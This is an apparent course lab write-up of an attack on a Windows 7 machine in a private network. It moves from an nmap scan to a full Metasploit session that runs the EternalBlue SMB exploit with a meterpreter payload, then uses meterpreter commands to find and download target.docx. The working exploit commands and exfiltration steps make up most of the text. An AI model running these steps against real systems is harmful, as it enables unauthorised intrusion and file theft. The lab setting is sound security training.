

Exploiting Windows 7 machines using Metasploit.

Strategy:

Compromise Windows 7 machine in order to locate and exfiltrate target.docx.

Tactics:

1. Perform a network scan.
2. Analyze the scan output in order to identify the Windows 7 machine.
3. Gain access to the machine using EternalBlue exploit
4. Locate the target file on the machine.
5. Exfiltrate the file.

Operationally :

1. Run nmap in order to identify Windows 7

```
sudo nmap 192.168.42.2-110
```

2. Identified the active IP addresses.

192.168.42.34

Host is up (0.031s latency).

Linux unconfirmed

Web server unconfirmed

192.168.42.42

Windows 7 Professional confirmed

Workstation unconfirmed

192.168.42.49

Host is up (0.036s latency).

All 1000 scanned ports on 192.168.42.49 are filtered

Linux unconfirmed

Workstation unconfirmed

192.168.42.59

Linux unconfirmed

Workstation unconfirmed

192.168.42.63

Windows Server 2008R2 Standard SP1 confirmed

Unconfigured unconfirmed

```
Windows server 2016 confirmed
AD Server unconfirmed
```



```
meterpreter exploit windows/smb/ms17_010_eternalblue against
RHOST 192.168.42.42 with payload windows/x64/meterpreter/bind tcp
```

```
shasheen@instance-1: ~ - Google Chrome
https://ssh.cloud.google.com/projects/csc530-vm-231520/zones/us-east1-b/instances/instance-1?authuser=2&hl=en_US&projectNumber=544863071110

[ metasploit v5.0.15-dev ]
+ -- --[ 1872 exploits - 1061 auxiliary - 328 post ]
+ -- --[ 546 payloads - 44 encoders - 10 nops ]
+ -- --[ 2 evasion ]

msf5 > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.42.42
RHOST => 192.168.42.42
msf5 exploit(windows/smb/ms17_010_eternalblue) > set targets
[ Unknown variable ]
Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] 192.168.42.42:445 - Connecting to target for exploitation.
[*] 192.168.42.42:445 - Connection established for exploitation.
[*] 192.168.42.42:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.42.42:445 - CORE raw buffer dump (27 bytes)
[*] 192.168.42.42:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.42.42:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 30 sional 7600
[*] 192.168.42.42:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.42.42:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.42.42:445 - Sending all but last fragment of exploit packet
[*] 192.168.42.42:445 - Starting non-paged pool grooming
[*] 192.168.42.42:445 - Sending SMBv2 buffers
[*] 192.168.42.42:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.42.42:445 - Sending final SMBv2 buffers.
[*] 192.168.42.42:445 - Sending last fragment of exploit packet!
[*] 192.168.42.42:445 - Receiving response from exploit packet
[*] 192.168.42.42:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 192.168.42.42:445 - Sending egg to corrupted connection.
[*] 192.168.42.42:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.42.42:4444
[*] Sending stage (206403 bytes) to 192.168.42.42
[*] Meterpreter session 1 opened (192.168.42.136:32947 -> 192.168.42.42:4444) at 2019-04-03 22:53:11 +0000
[*] 192.168.42.42:445 - -----WIN-----
[*] 192.168.42.42:445 - -----
```

exploitation was successful; access was gained

4. Locate target file on machine
meterpreter search -f target.docx

5. Exfiltrate the file
meterpreter download C:\\Users\\User\\Desktop\\target.docx
The file was downloaded successfully